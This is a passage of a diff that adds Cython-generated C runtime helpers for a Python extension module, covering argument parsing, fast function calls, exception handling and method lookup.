invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* RaiseArgTupleInvalid */ +static void __Pyx_RaiseArgtupleInvalid( + const char* func_name, + int exact, + Py_ssize_t num_min, + Py_ssize_t num_max, + Py_ssize_t num_found) +{ + Py_ssize_t num_expected; + const char *more_or_less; + if (num_found < num_min) { + num_expected = num_min; + more_or_less = "at least"; + } else { + num_expected = num_max; + more_or_less = "at most"; + } + if (exact) { + more_or_less = "exactly"; + } + PyErr_Format(PyExc_TypeError, + "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", + func_name, more_or_less, num_expected, + (num_expected == 1) ? "" : "s", num_found); +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = 